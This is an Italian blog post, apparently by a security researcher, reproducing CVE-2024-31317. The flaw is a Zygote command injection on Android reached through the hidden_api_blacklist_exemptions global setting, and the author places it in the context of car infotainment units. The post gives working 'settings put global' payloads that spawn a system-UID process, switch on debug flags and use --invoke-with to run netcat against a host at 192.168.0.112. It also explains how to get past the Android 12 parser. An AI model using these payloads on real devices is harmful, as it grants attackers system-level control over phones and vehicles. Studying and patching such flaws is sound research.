
CVE-2024-31317
Qualche giorno fa ho visto un'analisi della vulnerabilità CVE-2024-31317 pubblicata dal canale WeChat di JD. L'articolo era piuttosto interessante e, dato che le soluzioni principali per i sistemi di infotainment automobilistici attualmente si basano su Android e rientrano nel campo di applicazione di questa vulnerabilità, ho deciso di riprodurla.
Poiché si tratta di un'escalation a livello utente, è necessario prima ottenere i permessi dell'utente corrispondente. Pertanto, nello scenario dell'Internet dei veicoli, ci sono alcune limitazioni: l'approccio attuale più comune è limitare l'installazione di APK con firma sconosciuta e impedire l'accesso diretto alla modalità ingegneristica e ad ADB. Tuttavia, combinata con altre vulnerabilità o tecniche, è ancora abbastanza affidabile, dato che System può fare molte cose. Da notare inoltre che questa vulnerabilità richiede il permesso WRITE_SECURE_SETTINGS; per impostazione predefinita ADB possiede questo permesso, e una volta ottenuta la modalità ingegneristica, l'escalation risulta piuttosto comoda. Se ADB non è direttamente disponibile, è necessario combinare altre vulnerabilità per ottenerlo.
La vulnerabilità è un'iniezione di comandi; l'analisi complessiva non è difficile, ma prima di analizzarla è necessario comprendere Zygote. Zygote viene eseguito come demone, può creare processi applicativi tramite fork e accetta comandi UNIX socket su /dev/socket/zygote. Ogni comando inizia con un numero decimale, seguito dal corrispondente numero di argomenti per quel comando.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Differenziando il percorso del file si nota che la modifica consiste nell'aggiungere un carattere di newline per il commento, il che dimostra indirettamente che nelle versioni precedenti possiamo iniettare comandi tramite newline per avviare un nuovo processo.
Continuando a risalire alla chiamata di questa funzione, si vede che dal momento in cui viene letto il valore iniziale di HIDDEN_API_BLACKLIST_EXEMPTIONS fino a tutte le successive trasmissioni, non c'è alcuna operazione di filtro, il che significa che possiamo potenzialmente iniettare parametri arbitrari.
È quindi naturale pensare che se riusciamo a controllare il valore di HIDDEN_API_BLACKLIST_EXEMPTIONS, possiamo iniettare i nostri parametri personalizzati. Come accennato in precedenza, per impostare questo valore abbiamo bisogno del permesso WRITE_SETTINGS. ADB dispone di questo permesso per impostazione predefinita; è sufficiente eseguire il comando settings put global hidden_api_blacklist_exemptions command tramite il comando settings di sistema. Possiamo quindi provare a iniettare un nuovo processo in modo simile al seguente:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Sembra però che questo non soddisfi le nostre esigenze, poiché non riesce comunque a eseguire comandi. Analizzando, si scopre che il parametro invokeWith permette l'esecuzione di comandi.
A questo punto è molto semplice: dobbiamo solo costruire un comando simile al seguente:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Tuttavia, non si attiva con successo. Controllando logcat, viene restituito il seguente messaggio, che indica che è necessaria la modalità debug. Come possiamo quindi abilitare la modalità debug?
Continuando a esaminare il codice, si nota che al momento dell'avvio esiste un parametro runtime-flags, utilizzato per configurare le proprietà di debug.
I parametri configurabili sono i seguenti:
Pertanto, dobbiamo aggiungere questo parametro all'avvio e abilitare tutte le proprietà di debug. Il comando modificato è:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Dopo l'esecuzione, nc cattura con successo la richiesta di rete:

Su Android 11 e versioni precedenti, è possibile utilizzare il metodo sopra descritto per uno sfruttamento semplice. Tuttavia, a partire da Android 12, Google ha implementato un parser di comandi C++ in un percorso rapido per potenziare il parser di comandi Java di Zygote, utilizzando la nuova classe NativeCommandBuffer per completare questa attività. NativeCommandBuffer, dopo aver analizzato tutti i comandi ricevuti, scarta tutto il contenuto successivo e rilegge il prossimo comando dal socket. Ciò significa che quando iniettiamo due comandi tramite il comando, il contenuto iniettato viene scartato, impedendo l'iniezione. Qui è quindi necessario un metodo per bypassare la prima chiamata read(). Ci si riferisce principalmente al metodo dell'autore originale, ovvero inserire un gran numero di virgole alla fine, in modo che maybeSetApiDenylistExemptions() impieghi molto tempo per eseguire il ciclo dopo la scrittura, aumentando l'intervallo di tempo. La logica principale è che maybeSetApiDenylistExemptions() chiama più volte state.mZygoteOutputWriter.write(), ma queste chiamate non vengono mappate direttamente alla scrittura sul socket, perché mZygoteOutputWriter eredita da BufferedWriter, che aggrega i dati nel buffer interno prima di scrivere sul sottostante trasporto. Questo meccanismo fornisce un modo nativo per effettuare due scritture sul socket, con un opportuno ritardo tra di esse.
La dimensione del buffer di BufferedWriter è di 8192 byte, molto inferiore a quella del buffer di Zygote. Qui è sufficiente riempire il buffer fino a 8192 byte prima di inserire il comando malevolo iniettato, forzando a scrivere prima questi dati.
Questo articolo sarebbe dovuto uscire molto prima, ma sono stato impegnato e me ne sono dimenticato 😷 Inoltre, durante il test "Zhùwǎng" ho sfruttato questa vulnerabilità per guadagnare molti punti. Recentemente, mentre lavoravo su un progetto di test che coinvolgeva un sistema di infotainment automobilistico Android, mi sono ricordato di questo blog scritto a metà e ho approfittato del fatto che mi ricordavo ancora qualcosa per registrarlo. Inoltre, ringrazio molto il collega flanker per l'aiuto fornito durante la riproduzione di questa vulnerabilità, che mi ha risparmiato molte insidie.
BufferedWriter